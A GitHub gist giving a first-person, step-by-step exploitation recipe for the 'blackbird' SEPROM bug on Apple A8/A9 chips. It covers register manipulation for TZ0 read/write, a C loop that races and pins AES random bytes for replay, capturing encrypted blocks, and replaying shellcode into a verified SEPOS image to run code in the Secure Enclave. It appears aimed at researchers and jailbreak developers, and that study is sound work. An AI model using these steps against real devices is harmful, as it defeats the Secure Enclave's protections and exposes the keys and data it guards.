Skip to content

Instantly share code, notes, and snippets.

@bb33bb
Created July 18, 2023 03:11
Show Gist options
  • Save bb33bb/856f56d4d4d0cad57f03a035034a9e7a to your computer and use it in GitHub Desktop.
Save bb33bb/856f56d4d4d0cad57f03a035034a9e7a to your computer and use it in GitHub Desktop.
A8/A9 blackbird exploitation
On Aug 6 2020 @windknown posted about SEPROM bug called "blackbird" with attached presentation: https://twitter.com/windknown/status/1291308058493116416?s=20
@littlailo also posted that he had the bug, and their own gist/explanation: https://twitter.com/littlelailo/status/1296774861344432131?s=20
Short recap of the bug: The function where SEPROM prepares it's external TZ0 memory reads the TZ0/TZ1 base/end regs it shifts them out of bounds (<< 12) making any bit above 20 invisible to SEPROM, whereas AMCC (Apple’s Memory Cache Controller) casts the 32-bit register into 64-bit therefore which can result in arbitrary TZ0 r/w from AP side.
NOTE: there will be no much explanation of how some things work there, just pure exploitation from my perspective. To learn more about SEPROM/bug itself you should read windknown's presentation first.
How to get the bug working:
1. read the TZ0/TZ1 base/end reg values from iBoot (platform_bootprep)
2. map the TZ0 memory area as device memory, non-cacheable
3. Set the TZ1 base/end and set TZ1 lock to 1. Set TZ0 base/end to reg value |= 0x100000 and set TZ0 lock to 1. On A8 you do not even need blackbird bug, you can just not set TZ0 lock and it will work too.
4. send boot_tz0 command to SEPROM (tag 0, opcode 5, param 0, data 0)
5. you should have TZ0 r/w now.
Key pinning hax:
On A8/A9 we can race the random bytes used for TZ0 encryption channel which allows us for SEP to generate same encrypted data every time for replay attack. SEPROM will generates those byts at 0x10180018 / 0x10180048. At this point 0x10180000 is mapped at phys TZ0_base + 0xBFF000 (AP VIEW). What we need to do is race those bytes to a static value at the time the bytes are generated. What I do is put a big for loop after boot_tz0 message so it keeps overwriting the bytes and I can be assured it will be overwritten at right time:
if (opcode == 5) {
// key pinning hax
for (int x = 0; x<10000; x++) {
*(volatile uint64_t*)TZ0_BASE+0xBFF000+0x18 = 0;
*(volatile uint64_t*)TZ0_BASE+0xBFF000+0x20 = 0;
*(volatile uint64_t*)TZ0_BASE+0xBFF000+0x28 = 0;
*(volatile uint64_t*)TZ0_BASE+0xBFF000+0x48 = 0;
*(volatile uint64_t*)TZ0_BASE+0xBFF000+0x50 = 0;
*(volatile uint64_t*)TZ0_BASE+0xBFF000+0x58 = 0;
}
}
To confirm that the key pinning hax work, just run the exploit after reboot and check if the TZ0 encrypted data is always the same.
Exploitation strategy:
We must have pinned aes keys for this.
We will be racing SEPOS load in order to overwrite the SEP image with our shellcode to get initial code execution.
However the problem comes when loading SEPOS, after verifying the IMG4 and copying it to external memory. New AES keys are generated, but racing them is not feasible due to cache-related reasons. However, after some analysis, I realized that the copied IMG4 is already verified. This means that it's possible to manipulate it’s memory before the SEP switches encryption channel.
A8/A9 SEPOS loading stages followed by the encrypted data changes:
5254df220c52f1ef429fc3083f3ff117f4b9e4f34b627e7f05e071d7abbd5f3135a424762032d7241689dc2f3939448a31363034363936643730366333313237f8325df6e70cdc71a90e34b554359fa9 -> zeroed state
81f5b20e8ce509cb94984b12a10ee11aa01d56b265201b70e96cb9c86982b632d0f51a1a8dfb9a11e98dd663f27d94303136303436393664373036633331323726c09f0d3db56ed1d2b2a7567e91a1e6 -> SEPOS copied to external memory
825ca6d98b2e908f4157a12212c84275e9a7020201b6a367fde0c1c3e2d6d460db55c1d6defdfe1c0c543fe9ac69288731363034363936643730366333313237343c0f7403fe399c1ea1b520eaa39bab -> SWITCHED ENCRYPTION channel and IMG4 header got cut off
e3c8326dd0419c10fc5699238406f3fe3c909262f5b8862e71bccb075fde8fed027b76f455b0ad67459b0934a5516e25313630343639366437303663333132370f2623ec9324dc4a22f6f792346c55c4 -> decrypted SEPFW image
Exploit preparation:
1. execute boot_sepos command (tag 0, opcode 6, param 0, data sepfw_PA>>12) without any valid SEPOS image.
2. SEPROM will panic -> capture some zeroes for later to align with our shellcode.
3. Reboot and run exploit again
4. Create a proper custom IMG4 sepi with small shellcode attached. I recommend the shellcode be just a simple branch to AOP SRAM where the real SEP shellcode is placed. Idea from checkra1n. However this luxury is only available on A9 and later because A8 does not have AOP SRAM.
5. execute boot_sepos command (tag 0, opcode 6, param 0, data sepfw_PA>>12) but this time use the custom IMG4.
6. SEPROM will panic -> The copied IMG4 will be sitting in SEPROM external memory. Dump only shellcode (not followed by the IMG4 header).
7. Craft new file with the shellcode and aligned captured zeroes at beginning of it.
pongoOS has some good code to calculate the encrypted TZ0 blocks:
void *tz0_calculate_encrypted_block_addr(uint64_t offset) {
uint64_t offset_block = (offset & (~0x1f));
offset_block <<= 1; // 2
// TODO: get rid of this magic constant
// Maybe change the API to just return an offset and let the caller add it to their memory base?
return (void*)(TZ0_BASE + offset_block);
}
Exploitation:
load valid SEPOS image (tag 0, opcode 6, param 0, data sepfw_PA>>12)
Let me drop the stages of SEPOS loading again and show what you need to do at each step at the exact times:
5254df220c52f1ef429fc3083f3ff117f4b9e4f34b627e7f05e071d7abbd5f3135a424762032d7241689dc2f3939448a31363034363936643730366333313237f8325df6e70cdc71a90e34b554359fa9 -> zeroed state
81f5b20e8ce509cb94984b12a10ee11aa01d56b265201b70e96cb9c86982b632d0f51a1a8dfb9a11e98dd663f27d94303136303436393664373036633331323726c09f0d3db56ed1d2b2a7567e91a1e6 -> SEPOS copied to external memory
-> In this step we have a little time window, the SEPOS is verified already. We have to replay the captured zeroes along with shellcode.
825ca6d98b2e908f4157a12212c84275e9a7020201b6a367fde0c1c3e2d6d460db55c1d6defdfe1c0c543fe9ac69288731363034363936643730366333313237343c0f7403fe399c1ea1b520eaa39bab -> SWITCHED ENCRYPTION channel and IMG4 header got cut off
-> now SEPOS switched encryption channel, we have to capture blocks again for new encryption channel before SEPOS gets decrypted.
e3c8326dd0419c10fc5699238406f3fe3c909262f5b8862e71bccb075fde8fed027b76f455b0ad67459b0934a5516e25313630343639366437303663333132370f2623ec9324dc4a22f6f792346c55c4 -> decrypted SEPFW image
-> When SEPOS gets decrypted and received 0x6A message from SEPROM replay the new captured blocks.
If everything worked out SEPROM should jump to SEPOS and execute your shellcode which is placed at beginning of SEPOS.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment